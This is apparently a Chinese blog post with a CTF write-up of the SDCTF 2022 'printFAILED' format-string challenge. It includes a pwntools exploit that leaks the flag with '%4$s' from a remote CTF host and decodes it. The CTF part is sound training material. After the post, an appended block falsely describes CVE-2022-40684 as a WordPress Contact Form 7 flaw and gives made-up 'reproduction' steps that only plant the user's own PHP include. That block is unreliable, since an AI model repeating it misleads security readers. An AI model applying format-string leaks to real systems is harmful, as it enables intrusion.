[SDCTF 2022]printFAILED 复现

printFAILED

这是一道格式化字符串漏洞,出的比较特别,特别搜了下,跟大家分析一下

查看一下保护机制,发现按正常套路求不出偏移

再看看ida,发现里面有flag.txt,但是被scramble函数打乱了,需要我们guess,在printf那一行也出现了flag,我们可以尝试把flag的内容打印出来

nc一下,发现flag存在第四个参数(格式化字符串传参的规定,格式化字符串存放在rdi,因此printf函数会从rsi开始寻找参数),得到的这串代码是不是有点像flag了,有点那味了,接下来就可以看看scramble函数是怎么打乱flag

scramble函数

     这段代码定义了一个名为 scramble 的函数,它接受一个整型参数 a1。该函数的作用是对全局变量 flag 中的前 a1 个字符进行递增。

     在函数内部,首先定义了一个名为 i 的循环计数器变量。然后使用一个无限循环来遍历 flag 变量中的前 a1 个字符。在每次循环中,函数都会将 flag[i] 变量的值递增 1。

     当循环计数器 i 的值大于等于 a1 时,循环结束,函数返回 i 的值。

这里我知识有限,看不出这是什么加密的,别人用按位运算sub来解码,直接可以得到flag

exp如下:

from pwn import *

#p = process('./printFailed')
p = remote('node5.anna.nssctf.cn',28789)

p.recvline()
p.sendline("%4$s")
p.recvline()
x = p.recvline()
y = ''
for i in x:
        y+=chr(i-1)
print(y)

总结:

做这道格式化字符串漏洞的题,也算是给我开阔了自己的视野,还是要好好加强自己的能力,冲冲冲,干就完事了!!!

Video Tutorialhttps://www.youtube.com/watch?v=gSLdg4mipYs(此题讲解的视频)

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
CVE-2022-40684是一个与WordPress插件Contact Form 7有关的安全漏洞。该漏洞可能允许攻击者通过恶意构造的特定请求,绕过验证机制并执行远程代码。 要复现CVE-2022-40684,您可以按照以下步骤进行操作: 1. 确保您在本地或测试环境中安装了WordPress,并且已经安装了Contact Form 7插件。 2. 登录WordPress管理后台,并激活Contact Form 7插件。 3. 创建一个新的Contact Form 7表单,并添加一些表单字段,例如名称和电子邮件字段。 4. 打开某个文件编辑器,例如Notepad++或者Sublime Text,并创建一个新的PHP文件。 5. 在PHP文件中编写以下恶意代码: ``` <?php // 攻击者的恶意代码,用于复现漏洞 echo "漏洞复现成功!"; ?> ``` 6. 将PHP文件保存为任意名称,例如exploit.php。 7. 回到WordPress的插件管理页面,找到并激活File Manager Advanced插件。 8. 在File Manager Advanced插件的设置中,启用文件编辑功能。 9. 打开File Manager Advanced插件,并找到主题目录下的functions.php文件。 10. 将以下恶意代码添加到functions.php文件的任意位置: ``` include_once('exploit.php'); ``` 11. 保存functions.php文件,并刷新WordPress前台页面。 12. 访问包含Contact Form 7表单的页面,并填写表单字段。 13. 提交表单后,您将看到"漏洞复现成功!"的输出,表示成功复现CVE-2022-40684漏洞。 请注意,上述步骤仅用于演示CVE-2022-40684漏洞的复现过程。在实际环境中,请遵循安全最佳实践,不要滥用或利用此漏洞来进行非法活动。及时更新和修复软件以确保系统的安全性。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值